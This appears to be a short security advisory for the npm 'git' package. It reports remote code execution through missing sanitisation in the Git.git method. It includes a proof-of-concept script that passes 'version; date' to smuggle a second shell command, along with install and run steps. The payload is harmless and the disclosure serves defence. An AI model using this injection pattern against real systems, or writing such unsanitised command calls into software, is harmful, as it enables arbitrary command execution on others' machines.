Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to missing sanitisation in the Git.git
method, which allows execution of OS commands rather than just Git commands.
-
Create a file named
exploit.js
with the following content:var Git = require("git").Git; var repo = new Git("repo-test"); var user_input = "version; date"; repo.git(user_input, function(err, result) { console.log(result); })
-
In the same directory as
exploit.js
, runnpm install git
. -
Run
exploit.js
:node exploit.js
.
You should see the outputs of both the git version
and date
command-lines. Note that the repo-test
Git repository does not need to be present to make this PoC work.